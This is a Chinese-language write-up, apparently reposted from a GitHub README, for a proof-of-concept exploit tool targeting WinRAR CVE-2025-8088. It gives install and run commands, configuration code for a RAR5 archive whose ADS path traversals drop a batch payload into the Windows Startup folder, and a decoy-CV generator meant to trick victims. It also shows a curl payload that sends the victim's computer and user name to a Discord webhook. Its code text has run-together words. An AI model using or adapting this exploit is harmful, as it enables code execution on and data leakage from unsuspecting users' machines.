CVE-2025-8088 WinRAR Exploit
一个针对WinRAR漏洞(CVE-2025-8088)的概念验证(PoC)利用工具,该漏洞影响7.12及以下版本。此工具能创建一个恶意的RAR压缩包,该压缩包在替代数据流(ADS)中嵌入了具有路径遍历功能的Payload,可能导致任意代码执行。
许多现有工具的问题在于它们没有嵌入多个ADS流,这需要依赖运气(拥有正确的路径遍历)或确切知道用户名/解压目录。
功能特性
- 自动生成诱饵文档:动态创建专业的PDF文档(简历或渗透测试报告),增强欺骗性。
- 多重路径遍历:嵌入多个具有不同路径遍历深度的替代数据流(ADS),显著提高在不同目标目录结构下的利用成功率。
- 精确的RAR头部操纵:直接修改RAR5归档文件的结构,以触发WinRAR的路径遍历漏洞。
- 灵活的Payload投递:设计将Payload写入Windows启动文件夹(Startup),实现系统重启后自动执行。Payload内容易于自定义。
- 清晰的执行流程:整个利用过程从文档创建、流嵌入到最终生成恶意压缩包,步骤明确,便于理解和调试。
安装指南
克隆仓库:
gitclone https://github.com/pentestfunctions/best-CVE-2025-8088.gitcdbest-CVE-2025-8088安装Python依赖:
- 本工具需要Python 3.x环境。
- 核心依赖库为
reportlab,用于生成PDF诱饵文档。
pipinstallreportlab系统要求:
- 目标环境:Windows操作系统。
- 目标软件:安装有受影响版本(≤7.12)的WinRAR。
使用说明
基础使用
运行脚本,将生成一个名为exploit.rar的恶意压缩文件。
python CVE-2025-8088.pyPayload自定义
脚本中的PAYLOAD变量可以修改,以适应不同的攻击场景。例如,修改为调用Discord Webhook进行通知:
# 在脚本中替换 PAYLOAD 变量:PAYLOAD="""@echo off curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL pause """请将YOUR_DISCORD_WEBHOOK_URL替换为实际的Webhook URL。
执行流程
- 受害者使用易受攻击的WinRAR(≤7.12)解压生成的RAR文件。
- 利用路径遍历漏洞,Payload被写入启动文件夹:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ - 当目标系统下次重启时,Payload将自动执行。
核心代码
以下是项目中的部分核心代码及其注释,展示了恶意RAR的构建机制。
代码段1:配置与初始化
# 配置参数NUM_DEPTHS=10# 要创建的不同遍历深度数量RELATIVE_DROP_PATH="AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"# Payload的目标释放路径PAYLOAD="@echo off\necho Payload executed!\npause\n"# 默认的Payload内容PLACEHOLDER_LEN=200# 流名称占位符长度OUT_RAR="exploit.rar"# 输出的恶意RAR文件名# 生成长流名称的函数defgenerate_long_stream_names(count,length):"""生成用于占位的长流名称"""return[f"stream_{i:02d}"+"x"*(length-len(f"stream_{i:02d}"))foriinrange(count)]# 生成长流名称列表ADS_STREAMS=generate_long_stream_names(NUM_DEPTHS,PLACEHOLDER_LEN)# 在RAR头部使用的路径遍历模式PATH_TRAVERSALS=["../","../../","../../../",# ... 更多层级,直到10层"../../../../../../../../../","../../../../../../../../../../"]# RAR5格式常量RAR5_SIG=b"Rar!\x1A\x07\x01\x00"# RAR5文件签名HFL_EXTRA=0x0001# 头部标志:额外字段HFL_DATA=0x0002# 头部标志:数据字段这段代码定义了攻击的核心参数,包括Payload路径、要嵌入的ADS流数量(10个),以及不同层级的路径遍历字符串。generate_long_stream_names函数用于创建长文件名,这可能是绕过某些简单检查或填充结构的一部分。
代码段2:创建诱饵PDF文档
fromreportlab.lib.pagesizesimportletterfromreportlab.platypusimportSimpleDocTemplate,Paragraphdefcreate_professional_cv(file_type="pdf")->Path:"""为Alicia Sheree创建一份专业的简历,包含增强的格式和真实内容"""filename=f"Alicia_Sheree_CV_{datetime.now().year}.pdf"fake_doc=Path(filename)iffile_type!="pdf":raiseValueError("Currently only PDF output is supported.")try:# 使用ReportLab创建PDF文档doc=SimpleDocTemplate(str(fake_doc),pagesize=letter,rightMargin=20,leftMargin=20,topMargin=20,bottomMargin=20)# ... (后续会构建简历内容,如标题、段落、表格等)styles=getSampleStyleSheet()# 构建文档流(story)并生成PDF# doc.build(story)returnfake_docexceptExceptionase:print(f"[-] Error creating decoy document:{e}")sys.exit(1)这段代码负责生成一个看似合法的PDF诱饵文件(一份名为“Alicia Sheree”的简历)。使用ReportLab库可以精细控制PDF的样式和内容,使文件看起来非常真实,从而增加受害者打开它的可能性。这是社会工程学攻击中的重要一环。
6HFtX5dABrKlqXeO5PUv/zfeQWH4nVcVRnL7s7k9lH8bkwagtRgcbQrhPll1k7Zy
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)